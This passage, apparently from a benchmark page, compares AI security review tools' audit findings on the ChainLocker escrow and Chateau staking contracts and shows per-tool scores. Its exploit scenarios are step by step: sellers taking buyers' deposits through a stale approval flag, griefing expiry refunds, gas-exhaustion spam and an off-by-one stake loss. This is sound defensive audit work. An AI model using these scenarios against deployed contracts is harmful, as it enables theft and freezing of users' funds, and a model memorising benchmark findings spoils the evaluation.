depositwei;receive()(EthLocker.sol:269-276) makes it the buyer.2. That wallet calls
readyToExecute()(EthLocker.sol:315-318), settingbuyerApproved = true.3. Mallory, as seller, calls
rejectDepositor(secondWallet)(EthLocker.sol:390-399);depositedandbuyerare cleared and the wallet is refunded, butbuyerApprovedis untouched.4. Alice sends ETH;
receive()makes her the buyer and the balance reachestotalAmount.5. Mallory calls
readyToExecute()to setsellerApproved, thenexecute()(EthLocker.sol:325-361) passes the approval check and sendstotalAmountto the seller. - Exploit scenario
-
Not specified.
- Recommendation
-
Reset
buyerApprovedwhenever the buyer changes: inrejectDepositor()when_depositor == buyer, inupdateBuyer(), and whenreceive()assigns a new buyer in an open offer. For symmetry, resetsellerApprovedinupdateSeller(). Verify with a Foundry test: deposit from wallet A, call readyToExecute() from A, reject A as seller, deposit from wallet B, call readyToExecute() as seller, and assert that execute() reverts with EthLocker_NotReadyToExecute and that B's balance is still in the contract.
Claude Security (Sonnet 5.5)
rejectDepositor removes the open-offer buyer but leaves buyerApproved set, so a stale approval carries over to the next buyer
src/TokenLocker.sol:555Predicted severity: High- Root cause
-
Vulnerable symbol: rejectDepositor
Preconditions: openOffer == true; victim deposits the full totalAmount while buyerApproved() is already true
Offending code:
delete buyer;
- Impact
-
Loss of the new buyer's entire deposit to the seller without the buyer's approval. This defeats the escrow's dual-consent guarantee.
- Description
-
The seller can reject the current buyer, which clears
depositedandbuyer, butbuyerApprovedis not cleared. The next depositor becomesbuyerat line 432 or 396 and inherits the previous buyer's approval, so execute() no longer requires the new buyer's own readyToExecute(). Also CWE-841: rejectDepositor() and the open-offer buyer assignment in depositTokens()/depositTokensWithPermit() never reset buyerApproved. execute() (487-491, 524) checks only the stale flag and the global token balance, then transfers totalAmount to the seller. - Exploit scenario
-
Seller-controlled address S' deposits the (possibly zero or tiny)
deposit, becomes buyer and calls readyToExecute(). The seller calls rejectDepositor(S'), which refunds S', deletes buyer and resets deposited, but buyerApproved remains true. The seller also calls readyToExecute(). The offer looks fresh and open. A victim deposits totalAmount and becomes buyer, and anyone calls execute(), which pays the seller. The same happens unintentionally if an honest buyer approved before being rejected. - Recommendation
-
Delete buyerApproved in rejectDepositor when the buyer is deleted, and in every place where
buyeris reassigned (open-offer takeover, updateBuyer). Consider resetting sellerApproved on updateSeller. Also CWE-841: Clear buyerApproved when buyer changes (rejectDepositor, open-offer assignment, updateBuyer) and sellerApproved when seller changes. Gate execute() on the current buyer's own deposit rather than the global balance.
Claude Security (Opus 5.5)
Open-offer TokenLocker keeps the deployer-chosen _buyer and its readyToExecute approval, so funds are released to the seller without the real buyer's approval
src/TokenLocker.sol:342Predicted severity: High- Root cause
-
Vulnerable symbol: constructor
Preconditions: The attacker deploys, or is the seller of, an open-offer TokenLocker created through the factory with a non-zero _buyer they control; A victim accepts the open offer by depositing tokens until the balance reaches totalAmount
Offending code:
buyer = _buyer;
- Impact
-
The escrow's main authorization rule, that the buyer must approve before totalAmount goes to the seller, is bypassed. The seller can take a buyer's full escrowed deposit the moment it is funded, with no delivery or approval. The buyer loses the escrow protection and therefore the funds.
- Description
-
ChainLockerFactory.deployChainLocker forwards the caller's _buyer to new TokenLocker(...) at ChainLockerFactory.sol:213 even when _openOffer is true. Its own NatSpec at line 130 says the value is ignored in that case. The TokenLocker constructor stores it unconditionally. That placeholder buyer can call readyToExecute() and set buyerApproved = true. When a real depositor later takes over the buyer role (depositTokens/depositTokensWithPermit lines 395-397), buyerApproved is never cleared, so execute() accepts an approval the actual buyer never gave. Also CWE-266: The constructor docs and the factory docs both say _buyer is 'Ignored if openOffer', and EthLocker follows that (
if (!_openOffer) buyer = _buyer;). TokenLocker instead sets buyer = _buyer unconditionally. An address chosen by the deployer therefore holds buyer privileges in an open offer before anyone has accepted it. - Exploit scenario
-
1) The attacker calls ChainLockerFactory.deployChainLocker with _openOffer = true, _seller = attacker, _buyer = attacker (or an address the attacker controls), and an ERC20 _tokenContract. 2) The attacker calls readyToExecute() on the new TokenLocker. Because msg.sender is both seller and buyer, sellerApproved and buyerApproved are both set to true. 3) A real buyer V accepts the open offer by calling depositTokens(V, totalAmount), or deposits in several steps. V becomes
buyer, but buyerApproved stays true. 4) Once the balance reaches totalAmount, the attacker calls execute() in the same or the next block. All checks pass and the full totalAmount goes to the attacker-seller, although V never called readyToExecute. V has no function to revoke the stale approval. The same stale-approval flaw appears without the factory parameter in both lockers through rejectDepositor (EthLocker.sol:390-393, TokenLocker.sol:553-556): the seller depositsdepositfrom an alt address, calls readyToExecute as buyer, rejects that alt address to get the funds back, and buyerApproved stays true for the next real buyer. - Recommendation
-
In ChainLockerFactory.deployChainLocker, pass address(0) for _buyer when _openOffer is true, and in the TokenLocker constructor set buyer only when !_openOffer, as EthLocker does. More generally, clear buyerApproved wherever the buyer identity changes: open-offer buyer assignment in the deposit functions and receive(), rejectDepositor, and updateBuyer, in both EthLocker and TokenLocker. Alternatively, record the approving address and check it against the current buyer in execute(). Also CWE-266: Match EthLocker: assign buyer only when !_openOffer, so an open offer starts with buyer == address(0).
Vercel Security Review
Rejected buyers leave execution approval active for their replacements
src/EthLocker.sol:390Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. A seller's cooperating buyer primes the execution approval** -
src/EthLocker.sol:315-318```solidity title="src/EthLocker.sol:315-318"
if (msg.sender == buyer) {
buyerApproved = true;
emit EthLocker_BuyerReady();
}
```
**2. Rejecting that buyer reopens the offer without revoking approval** -
src/EthLocker.sol:390-393```solidity title="src/EthLocker.sol:390-393"
if (_depositor == buyer) {
delete deposited;
delete buyer;
emit EthLocker_BuyerUpdated(address(0));
```
The seller refunds this buyer, then a replacement's deposit assigns the new buyer at lines 269-275. Neither transition clears
buyerApproved. TokenLocker repeats this atsrc/TokenLocker.sol:553-562,429-435.**3. The seller executes against the replacement's funds without their consent** -
src/EthLocker.sol:326-329```solidity title="src/EthLocker.sol:326-329"
if (
!sellerApproved ||
!buyerApproved ||
address(this).balance < totalAmount
```
Once the replacement fully funds escrow, seller approval satisfies this gate and releases funds at line 361 using the old buyer's approval. The equivalent token gate/payment is
src/TokenLocker.sol:487-491,524. - Exploit scenario
-
Not specified.
- Recommendation
-
Invalidate execution approvals whenever an offer is reopened or its buyer changes, including rejectDepositor and automatic open-offer buyer assignment. Bind approval to the current buyer and offer generation so an earlier participant's approval cannot authorize spending a replacement's funds. Apply the fix to both locker contracts.
-
Griefing in checkIfExpired chainlocker-6 · 7 writeups Medium
V12
Rejecting recipients permanently block expiry refunds
src/EthLocker.sol:38Predicted severity: Critical- Root cause
-
Expiry finalization and recipient updates depend on successful push payments to untrusted recipients. There is no independent withdrawal credit or post-expiry recipient-repair path.
- Impact
-
A seller using an ETH-rejecting contract can permanently freeze the buyer's remaining escrow funds after expiry in an identified offer. A refundable identified offer is similarly frozen if its buyer cannot accept ETH; there is no alternate recipient or withdrawal path in this file.
- Description
-
checkIfExpired()performs expiry settlement through synchronous ETH calls that revert on recipient failure. In a non-refundable, identified-buyer locker withdeposited == trueand a positive deposit, a seller contract that rejects ETH causes settlement to revert before the buyer receives the remainder. The revert also rolls backisExpiredand the accounting deletions, so every retry encounters the same payout. After the deadline, both party-address setters call this failing settlement before they can change a recipient.rejectDepositor()cannot recover the funds in this configuration because it requires an open offer.
Codex Security (GPT-6 Sol)
Seller can block buyer's ETH refund with a reverting payout address
src/EthLocker.sol:286Predicted severity: Medium- Root cause
-
updateSelleraccepts an arbitrary payable receiver before expiry.checkIfExpiredperforms a push payment to seller before refunding buyer, and the transfer helper reverts on receiver failure. Because address updates callcheckIfExpired, the seller cannot simply change the address after expiry to unblock settlement. - Impact
-
A malicious seller must use a nonrefundable locker with a positive buyer remainder and a rejecting contract, but can otherwise indefinitely block the buyer refund.
- Description
-
A seller may set its address to a contract that rejects ETH. On nonrefundable expiry, the seller transfer reverts before the buyer's remainder is paid, and post-expiry address changes enter the same failing path.
- Exploit scenario
-
Seller selects rejecting receiver; buyer funds nonrefundable escrow; expiry attempts seller payment before buyer remainder and reverts.
- Recommendation
-
Accrue seller and buyer claimable balances independently at expiry and let each withdraw to a chosen address.
Pashov (Claude Opus 5.5 high)
Push-based settlement in
checkIfExpiredlets a reverting or blacklisted party freeze all fundssrc/EthLocker.sol:420Predicted severity: Low- Root cause
-
Several outbound transfers are bundled into one all-or-nothing call, with no pull/claim fallback.
- Impact
-
Either party can grief the other, or be accidentally frozen, so the non-refundable deposit or the refund cannot be paid out. Funds stay locked permanently.
- Description
-
After expiry,
checkIfExpired()pushes funds tosellerand thenbuyerin one transaction. If either transfer reverts, the whole call reverts. Causes include an ETH-rejecting contract, a USDC/USDT blacklisted address, a zero-addresssellerset viaupdateSelleron revert-on-zero tokens, or a remainder recipient that reverts.updateSeller/updateBuyercallcheckIfExpired()first, so after expiry the parties cannot even switch to a working address. - Exploit scenario
-
Non-refundable EthLocker. The buyer is a contract that reverts on receiving ETH and leaves a remainder > 0. At expiry
safeTransferETH(buyer, _remainder)reverts, so the seller never receives the non-refundable deposit either. - Recommendation
-
Use pull payments: record the amounts owed to seller and buyer and let each claim them separately. Allow address updates after expiry, before claiming.
Pashov (Codex GPT-6 Sol high)
A rejecting ETH recipient can block all expiry payouts
src/EthLocker.sol:286Predicted severity: Medium- Root cause
-
The refund and seller payment are coupled as mandatory external calls, and updateSeller/updateBuyer invoke checkIfExpired before changing the recipient.
- Impact
-
A malicious seller can permanently freeze the buyers refund by choosing a reverting seller recipient; a rejecting buyer can likewise freeze the sellers nonrefundable payment. Medium severity: one counterparty can block the other counterparty’s payout indefinitely through a rejecting recipient.
- Description
-
Expiry settlement pushes ETH to seller and buyer in one transaction. If either recipient rejects ETH, the whole settlement reverts; after expiry, the recipient update functions first call the same failing settlement, so the address cannot be repaired through the locker.
- Exploit scenario
-
In a nonrefundable 10 ETH escrow with a 1 ETH deposit, the buyer funds all 10 ETH. Before expiry, the seller updates seller to a contract whose receive function reverts. After expiry, checkIfExpired reverts on the first 1 ETH payment. updateSeller also reverts because it calls checkIfExpired before replacing the address.
- Recommendation
-
Use pull payments with independently claimable credits for each recipient, or permit an authorized recipient update after expiry without first executing the failing payout.
Devin Security (Deep)
Non-refundable expiry pays the seller by push first, so a seller address that rejects ETH locks the buyer's remaining funds forever
src/EthLocker.sol:420Predicted severity: High- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
A seller in a non-refundable ETH escrow can make the buyer's leftover funds unrecoverable forever by pointing the seller address at a contract that rejects ETH, and this costs the seller nothing when the deposit is zero.
##### What's wrong
This is a push-payment denial of service: one failing transfer blocks everyone else's payout.
checkIfExpired()sendsdeposittosellerwith a reverting transfer before it pays the buyer, andupdateSeller()lets the seller switch to any address with no check.##### Who can do it
Mallory (seller) and Alice (buyer) agree to a non-refundable escrow with a 0 ETH deposit and a 50 ETH total. Alice sends 50 ETH. Mallory never delivers. Shortly before expiry Mallory calls
updateSeller()with the address of a contract that has no payable fallback (or she deployed with such a seller address from the start).-
refundable == false.-
deposited == true, which happens on the firstreceive()call whendeposit == 0, or after a normal deposit otherwise.- The seller address rejects ETH at expiry time.
- The escrow did not execute before expiry.
##### What they get
Alice's 50 ETH stay in the contract forever. After expiry every call to
checkIfExpired(),updateSeller(),updateBuyer(), andexecute()reverts, andreceive()rejects new deposits, so no code path can move the ETH. Mallory loses onlydeposit, which is zero in this setup. Before expiry she can use the threat to extort Alice, since only Mallory can switch the seller address back. The damage is limited to the funds in that one escrow. A buyer can do the mirror image to block the seller's deposit by making the buyer address reject ETH, at the cost of their own remainder.##### How it works
1. Alice sends 50 ETH;
receive()(EthLocker.sol:269-275) setsdeposited = truebecause the balance is at leastdeposit.2. Mallory calls
updateSeller(revertingContract)(EthLocker.sol:286-293) before expiry; the new address is not validated.3. After expiry,
checkIfExpired()(EthLocker.sol:422-424) enters the non-refundable branch and callssafeTransferETH(seller, deposit).4. The call to the reverting contract fails and
safeTransferETH(EthLocker.sol:38-49) reverts the whole transaction, so the buyer transfer on line 425 never runs.5. Every function that settles expiry goes through
checkIfExpired()and now reverts, so the ETH is stuck permanently. - Exploit scenario
-
Not specified.
- Recommendation
-
Move to pull payments for expiry: in
checkIfExpired(), record the amounts owed to seller and buyer in a mapping and add awithdraw()that each party calls. At minimum, do not let a failed seller transfer block the buyer; for example, record the seller's share as claimable on failure instead of reverting. Also rejectaddress(0)in the constructor,updateSeller(), andupdateBuyer(). Test: set the seller to a contract with no receive(), fund as buyer, warp past expiry, and assert the buyer can still recover their remainder.
Claude Security (Sonnet 5.5)
Expiry settlement pushes funds to both seller and buyer in one transaction; a reverting or blacklisted recipient permanently freezes the escrow
src/TokenLocker.sol:587Predicted severity: Low- Root cause
-
Vulnerable symbol: checkIfExpired
Preconditions: refundable == false; A reverting, blacklisted or otherwise failing seller or buyer address
Offending code:
safeTransfer(tokenContract, seller, deposit);
- Impact
-
Permanent loss of availability of escrowed funds for the counterparty. This is a hostage or griefing vector, not direct theft.
- Description
-
In the non-refundable branch the seller payout and the buyer refund share one transaction (EthLocker 424-425 has the same shape). seller and buyer are party-controlled via updateSeller()/updateBuyer(), and a token's blacklist can also make either transfer revert. A single failing transfer reverts checkIfExpired(). That function gates execute(), updateSeller() and updateBuyer(), so nothing can run after expiry.
- Exploit scenario
-
In a non-refundable locker, the seller calls updateSeller() to a contract that reverts on receive, or a blacklisted address. The buyer has funded the escrow. At expiry every checkIfExpired() call reverts, so the buyer's refundable remainder is stuck. The seller can restore a working address before expiry, which enables extortion. A buyer who moves to a reverting address symmetrically blocks the seller's deposit payout. With USDC-style blacklisting, a sanctioned counterparty freezes the escrow without any malicious action.
- Recommendation
-
Use pull payments: record seller and buyer entitlements at expiry and let each party withdraw separately, so one failing recipient cannot block the other.
Vercel Security Review
A reverting seller can block the buyer's expiry refund
src/EthLocker.sol:422Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. The seller can switch its recipient to a contract that rejects ETH** -
src/EthLocker.sol:289-292```solidity title="src/EthLocker.sol:289-292"
if (!checkIfExpired()) {
seller = _seller;
emit EthLocker_SellerUpdated(_seller);
}
```
This can occur after the buyer funds the new escrow but before expiry.
**2. Expiry requires paying the seller before refunding the buyer** -
src/EthLocker.sol:422-425```solidity title="src/EthLocker.sol:422-425"
if (!refundable && _isDeposited) {
uint256 _remainder = address(this).balance - deposit;
safeTransferETH(seller, deposit);
if (_remainder > 0) safeTransferETH(buyer, _remainder);
```
For a nonrefundable deposit smaller than the funded balance, the malicious seller blocks the buyer's otherwise refundable surplus.
**3. Rejected payment reverts the entire settlement** -
src/EthLocker.sol:43-46```solidity title="src/EthLocker.sol:43-46"
// Store the function selector of
ETHTransferFailed().mstore(0x00, 0xb12d13eb)
// Revert with (offset, size).
revert(0x1c, 0x04)
```
The failed call at line 42 triggers this revert. There is no independent buyer withdrawal; changing recipients after expiry also attempts settlement first. The seller can indefinitely lock the buyer's surplus.
- Exploit scenario
-
Not specified.
- Recommendation
-
Record independent claimable balances for the seller's deposit and buyer's surplus at expiry, then let each party withdraw separately. A failed payment to either recipient must not revert or prevent the other party's withdrawal. Permit claim owners to redirect their own withdrawals without first requiring settlement payments to succeed.
-
-
Chateau Solidity Yield-bearing real-asset vault. Tasks 4 V12 4/4 Codex Sec 2/4 Pashov Opus 3/4 Pashov GPT-6 2/4 Devin 2/4 Devin (Deep) 3/4 Claude Sec 2/4 Claude Opus 1/4 Vercel 2/4
Yield-bearing real-asset vault.
Read the audit report-
Potential DOS during swap chateau-1 · 8 writeups Critical
V12
Permanent histories can exhaust settlement gas
contracts/StakingPool.sol:49Predicted severity: High- Root cause
-
Inactive issue records and per-user indexes remain in grow-only histories that mandatory settlement paths scan without pagination or early termination. Work is tied to lifetime activity rather than the live claims being processed.
- Impact
-
Accumulated inactive records can make every swap exceed the execution gas limit even when only a small live deposit needs settlement. A heavily used account can also lose its usable direct withdrawal path because
unstakemust process its entire history; owner withdrawal bounds the global scan only by withdrawing all issue tokens and invalidating the old eligibility range. - Description
-
Every successful positive stake appends a global issue and a permanent entry in the caller's history. Unstaking clears only the active flag, while both user withdrawal and the position getter continue copying and scanning the full lifetime history. The swap loop additionally scans every global index above
indexStar, including inactive entries, and does not stop when the requested allocation is complete. An admitted caller can repeatedly stake a minimal amount and unstake it, or spread such cycles over multiple accounts, leaving a long inactive global range while recovering the deposited principal. No user-controlled pruning or bounded settlement interface exists.
Codex Security (GPT-6 Sol)
Accumulated stake history can make every swap run out of gas
contracts/StakingPool.sol:49Predicted severity: Medium- Root cause
-
The user-controlled count of stake records grows indexEnd permanently. Unstake only flips a flag, while swap scans the entire index range and does not stop once the amount has been assigned. Gas cost grows with history rather than work needed for the swap.
- Impact
-
A public eligible user can disable the global swap function after accumulating enough entries; reversing it requires an owner withdrawal that clears claims.
- Description
-
Every swap scans all historical stake slots, including inactive slots and entries after the requested amount is allocated. An eligible staker can grow that history until swaps exceed transaction gas limits.
- Exploit scenario
-
repeated stake -> indexEnd growth -> inactive records retained -> swap global loop -> out-of-gas revert
- Recommendation
-
Track active positions and settle in bounded batches; stop processing once the requested amount is allocated.
Pashov (Claude Opus 5.5 high)
Unbounded iteration over the whole stake history in swap() allows permanent DoS of swaps
contracts/StakingPool.sol:128Predicted severity: Medium- Root cause
-
The loop has no upper bound and no early exit, over an array that anyone can grow cheaply.
- Impact
-
An attacker who passes the KYC check once can stake 1 wei thousands of times, or stake and unstake repeatedly, until swap() exceeds the block gas limit. Shareholders then cannot sell shares for staked USDT until the owner calls withdraw(), which seizes all stakes. Even without an attacker, normal use slowly makes swap more expensive and eventually unusable.
- Description
-
swap() loops from indexEnd down to indexStar over every Issue ever created since the last withdraw, including ones already unstaked or fully consumed. It keeps looping after amountB reaches 0, so every call costs a cold SLOAD for each historical entry. Entries are never removed, and stake() accepts any amount above 0, including 1 wei.
- Exploit scenario
-
On Arbitrum, where gas is cheap, the attacker calls stake(1) about 15,000 times (each costs around 100k gas). Every later swap() then needs more than 15,000 × ~2,100 gas just for SLOADs, which exceeds the block gas limit. All swaps revert.
- Recommendation
-
Break out of the loop once amountB == 0. Keep a FIFO/LIFO queue pointer that moves past consumed or unstaked entries. Enforce a minimum stake size, or allow at most one active position per user.
Pashov (Codex GPT-6 Sol high)
Historical stake scans can exhaust gas for swaps and unstaking
contracts/StakingPool.sol:128Predicted severity: Medium- Root cause
-
The loop has no bounded batch size, cursor, or early exit when amountB reaches zero.
- Impact
-
An attacker can block swaps for all users by extending global history; a staker with a long personal history can also lose access to an active stake because unstake exceeds the block gas limit.
- Description
-
Swap traverses every global historical stake index, including inactive records and records after the requested amount is filled. Unstake copies and traverses a caller’s entire stake history. Both histories grow without bound.
- Exploit scenario
-
An attacker repeatedly stakes the minimum permitted issue-token unit and optionally unstakes; all records remain in the scanned index range. Later swaps must scan every historical index and eventually become unexecutable.
- Recommendation
-
Use bounded settlement batches with a persistent cursor and an indexed unstake path. Stop swap allocation once the requested amount is filled.
Devin Security
swap() loops over every stake ever made and can run out of gas
contracts/StakingPool.sol:128Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
A user who passes the KYC check can make
swap()too expensive to call by creating many tiny stakes, which blocks liquidations until the owner resets the window.##### What's wrong
This is an unbounded loop.
swap()walks every index fromindexEnddown toindexStar. It does not stop onceamountBreaches zero, and it also visits stakes that were already unstaked. Sincestake()takes any amount above zero, the loop length grows with every stake.##### Who can do it
Mallory passes the non-US check and calls
stake(1)followed byunstake()thousands of times. Bob, a share holder, then callsswap(), and his call runs out of gas.- Mallory passes the Quadrata non-US check.
- Mallory pays gas for many small stakes.
##### What they get
No one can call
swap()until the owner callswithdraw(), which movesindexStarforward. No funds are stolen. The only harm is lost availability.##### How it works
1.
stake()at StakingPool.sol:49-58 accepts any amount above zero and increasesindexEndeach time.2. The
swap()loop at StakingPool.sol:128 visits every index in the window and never breaks early.3. Once there are enough entries,
swap()uses more than the block gas limit and reverts. - Exploit scenario
-
Not specified.
- Recommendation
-
Break out of the loop once
amountB == 0. Set a minimum stake amount, or keep a list of only active stakes so the loop skips stakes that were already unstaked. To check the fix, write a test that creates many dust stakes and confirms that a smallswap()uses roughly constant gas.
Devin Security (Deep)
swap() iterates every stake index since the last withdraw, so cheap dust stakes can make swaps impossible
contracts/StakingPool.sol:128Predicted severity: Low- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
##### TL;DR
A verified user can spend a few dollars of gas on roughly a thousand 1-wei stakes and make every
swap()run out of gas until the fund manager callswithdraw().##### What's wrong
This is an unbounded loop over attacker-controlled state.
swap()walks every index fromindexEnddown toindexStar, including entries that are already unstaked, and never breaks early even once the requested amount is fully matched.##### Who can do it
Mallory, a non-US user with a Quadrata passport, calls
stake(1)about a thousand times. Because matching is newest-first, every laterswap()by Alice, a Share holder at Acme Capital, must first process all of Mallory's entries, each of which costs a Share transfer, and the transaction exceeds the block gas limit. Even after Mallory unstakes, the dead entries still cost a storage read on every swap.Conditions:
- The attacker passes the
NOT_AMERICANcheck to callstake().- The attacker funds roughly a thousand tiny stakes (the exact count depends on the chain's gas limit).
- The owner has not yet called
withdraw()to resetindexStar.##### What they get
Share holders lose the ability to exit through
swap()until the manager resets the pool withwithdraw(), and the attacker can repeat the attack after each reset. No funds are lost or taken. The same shape exists inunstake(), which loops over the caller's own never-pruned index list, but that only affects the caller.##### How it works
1.
stake()appends an entry atindexEndwith no minimum amount beyond> 0(StakingPool.sol:50-54).2.
swap()loops fromindexEnddown toindexStar + 1with no break onceamountBreaches zero (StakingPool.sol:128-145).3. Each live entry triggers a Share transfer (StakingPool.sol:135, 139) and each dead entry still costs a storage read (StakingPool.sol:129-130).
4. Only
withdraw()movesindexStarforward (StakingPool.sol:154). - Exploit scenario
-
Not specified.
- Recommendation
-
Add
breakonceamountB == 0, keep a cursor to the newest live stake, skip or compact unstaked entries, and require a minimum stake amount. Check: a test that creates a few thousand 1-wei stakes and then callsswap()should still succeed within the block gas limit.
Claude Security (Sonnet 5.5)
swap() iterates over every issue since the last withdraw() with no early exit, so spam stakes can make swap() run out of gas
contracts/StakingPool.sol:128Predicted severity: Low- Root cause
-
Vulnerable symbol: swap
Offending code:
for (uint i = indexEnd; i > indexStar; i--) {
- Impact
-
Each iteration costs at least one cold SLOAD (about 2.1k gas), and the cost grows with the total number of stakes since the last owner withdraw(). Once the range exceeds roughly the block gas limit divided by that per-entry cost, swap() always reverts. Stakers can no longer be converted to shares and share holders cannot sell into the pool. Only the owner's withdraw() resets indexStar, and it does so by sweeping all staked funds. The same degradation happens organically as history accumulates.
- Description
-
Any KYC-passing account can append unbounded entries to the global issues range through stake(), which has no minimum amount. swap() walks the whole range from indexEnd down to indexStar, including already-filled entries, and keeps looping after amountB reaches 0.
- Exploit scenario
-
An attacker with a passing Quadrata country attribute calls stake(1) repeatedly from the cheap L2 deployments the contract targets (Optimism, Arbitrum). They can call unstake() afterwards to reclaim the dust. The filled or unstaked entries remain in the range and are still read by swap(). After a few thousand to tens of thousands of entries, every swap() call runs out of gas.
- Recommendation
-
Break out of the loop as soon as amountB == 0. Enforce a minimum stake amount. Use a bounded or linked-list structure, or a batch parameter for the swap loop (for example, a maxIterations argument with a persisted cursor), instead of a full scan from the newest entry to indexStar.
Vercel Security Review
Tiny stake spam can exhaust gas for every swap
contracts/StakingPool.sol:128Predicted severity: Medium- Root cause
-
Not specified.
- Impact
-
Not specified.
- Description
-
**1. The new staking flow lets any country-approved depositor grow a pool-wide history with repeated tiny stakes.** -
contracts/StakingPool.sol:51-54```solidity title="contracts/StakingPool.sol:51-54"
issueToken.safeTransferFrom(msg.sender, address(this), amount);
issues[indexEnd] = Issue(msg.sender, amount, block.timestamp, true);
userIssueIndex[msg.sender].push(indexEnd);
indexEnd++;
```
**2. Cancelling stakes only marks their records inactive; their indices remain in that history.** -
contracts/StakingPool.sol:67-70```solidity title="contracts/StakingPool.sol:67-70"
Issue storage issueInfo = issues[index];
if (issueInfo.isStaking) {
unstakeAmount += issueInfo.issueAmount;
issueInfo.isStaking = false;
```
**3. Every swap traverses the entire interval, including inactive records, even after satisfying its amount. Enough spam therefore makes other holders' swaps exceed transaction gas limits until the owner withdraws and resets the interval.** -
contracts/StakingPool.sol:128-131```solidity title="contracts/StakingPool.sol:128-131"
for (uint i = indexEnd; i > indexStar; i--) {
Issue storage issueInfo = issues[i];
if (issueInfo.isStaking) {
if (amountB > 0) {
```
- Exploit scenario
-
Not specified.
- Recommendation
-
Maintain an efficiently removable active-order queue instead of traversing all historical indices. Bound work per swap, support partial fills or pagination, and stop once the requested amount is satisfied. Cancelled and settled records must not remain mandatory traversal work.
-
Transparent pool ordering allows for preferential swaps chateau-2 · 1 writeup Critical
V12
Newest-first insertion captures redemption spreads
contracts/StakingPool.sol:49Predicted severity: Informational- Root cause
-
Immediate stake activation combined with descending-index allocation permits transaction-order priority capture.
swapdoes not bind that allocation to stake age or the independent redemption value used by the vault. - Impact
-
Newest-first insertion lets a transient depositor capture a favorable redemption spread instead of an earlier depositor whenever the vault payout exceeds the issue-token claim consumed by the swap. Security relevance remains unresolved: the missing fact is the intended relationship between configured rate, vault redemption value and any protected allocation priority; the searched boundary comprises all project Solidity sources, the requested tests, deployment script, configuration and README, which supply no such economic constraint.
- Description
-
Every admitted
stakeimmediately appends an active issue, andswapallocates incoming shares to active issues in descending index order without an age or commitment requirement. An observer can therefore place a stake immediately before a pending swap and receive the shares ahead of previously active depositors. Those received shares can be passed toVaultPool.reedem, whose payout depends on the vault's live backing and share supply rather than the staking rate. As a conditional arithmetic example, with rate 10000, 20000 outstanding shares and 40004 backing units, a front-running 10000-unit stake can receive 10000 shares from a pending swap and redeem them for 20000 units, yielding 10000 units above the consumed stake before transaction costs. This establishes a redemption-spread capture path, but the source does not establish whether this is intended arbitrage or violates an economic protection promised to existing depositors or vault holders.
-
Withdraw leads to loss of stake chateau-3 · 9 writeups Critical
V12
Withdrawal boundary excludes the next deposit
contracts/StakingPool.sol:34Predicted severity: High- Root cause
-
withdrawstores the next unused index as an exclusive lower bound, whilestakeimmediately reuses that index for a valid new claim. The swap payout additionally trustspendingLiquidationwithout requiring the allocation loop to consume the full converted amount. - Impact
-
A user making the first deposit after an owner withdrawal loses access to that deposit through all user settlement paths, although the owner can recover and return the issue tokens separately. The excluded deposit also inflates the aggregate used to authorize swaps, allowing a share holder to receive issue tokens for an amount the allocation loop cannot fully match to eligible issues.
- Description
-
indexEnddenotes the next unused issue index, but owner withdrawal saves that value directly intoindexStar. The next successful stake writes an active issue at exactly that saved boundary and adds its amount topendingLiquidation. BothunstakeandgetStakingInforequire an index strictly greater thanindexStar, and the swap scan uses the same exclusive boundary. Consequently the first deposit after every owner withdrawal is recorded and funded but is never eligible for withdrawal or allocation. Owner withdrawal can create this condition even in an initially empty pool.
Codex Security (GPT-6 Sol)
A share swap can take the first post-withdraw stake without paying its owner
contracts/StakingPool.sol:154Predicted severity: High- Root cause
-
The owner stores the next unused index in indexStar. The next stake writes at that exact index and increments pendingLiquidation, but unstake and swap use strict greater-than comparisons. The record is invisible to both claim paths while swap can spend the aggregate backing.
- Impact
-
The full affected deposit can be taken by a public Share holder after a normal owner withdrawal, with no recovery path for that stake.
- Description
-
After an owner withdrawal, the first new stake is accepted and counted as liquidity but excluded from unstaking and share distribution. A Share holder can swap against its backing and receive the issue tokens while the staker receives no Shares.
- Exploit scenario
-
owner withdraw -> indexStar=indexEnd -> first new stake at indexStar -> pendingLiquidation grows -> swap omits record -> issue-token payout
- Recommendation
-
Set the boundary to the last used index or consistently include the next new stake in all claim and settlement paths.
Pashov (Claude Opus 5.5 high)
Off-by-one after owner withdraw: first stake after withdraw is frozen and its funds can be taken by swappers without compensation
contracts/StakingPool.sol:151Predicted severity: High- Root cause
-
withdraw() should mark every index up to indexEnd-1 as settled. It sets indexStar = indexEnd instead. Combined with the strict
index > indexStarchecks, this skips the next slot to be allocated. - Impact
-
After every owner withdraw, the first staker cannot unstake. The stake never appears in getStakingInfo. Because the amount still counts in pendingLiquidation, a swapper can take that USDT through swap() while the loop gives the staker no share tokens. The undistributed share tokens stay stuck in the pool. The staker loses all of the deposit.
- Description
-
indexEnd always points to the next free slot. withdraw() sets indexStar = indexEnd. The next stake() is written to issues[indexEnd], which now equals indexStar. unstake(), getStakingInfo() and swap() only look at indices strictly greater than indexStar, so this stake can never be seen. Its amount is still added to pendingLiquidation.
- Exploit scenario
-
1) Users stake at indices 1..3 and the owner calls withdraw(), so indexStar = 4. 2) Alice stakes 1000 USDT. It goes to issues[4], indexEnd = 5, pendingLiquidation = 1000. 3) Alice calls unstake(): 4 > 4 is false, so she gets nothing. 4) Bob, a shareholder, calls swap() for 1000 USDT worth of shares. The check pendingLiquidation >= amountB passes. The loop only visits i = 5 (empty), so no shares reach Alice. Bob still receives Alice's 1000 USDT, and his shares remain in the contract.
- Recommendation
-
In withdraw(), set indexStar = indexEnd - 1. Alternatively, keep inclusive semantics with
index >= indexStarconsistently and start indexStar at 1. Also have swap() pay out only what the loop actually matched, and revert if amountB is left over.
Pashov (Codex GPT-6 Sol high)
First stake after owner withdrawal becomes permanently inaccessible
contracts/StakingPool.sol:151Predicted severity: High- Root cause
-
The cutoff stores indexEnd instead of the last used index, creating an off-by-one exclusion on the next stake.
- Impact
-
The first post-withdraw staker can lose their full deposited amount: unstake excludes the record, and a share seller can receive the collateral without allocating shares to that staker. The owner can also sweep it.
- Description
-
The owner withdrawal advances indexStar to the current next-free index. The next stake is stored at that same index, while unstake and swap process only indices strictly greater than indexStar. That stake is counted as pending liquidation but can never be selected for return or settlement.
- Exploit scenario
-
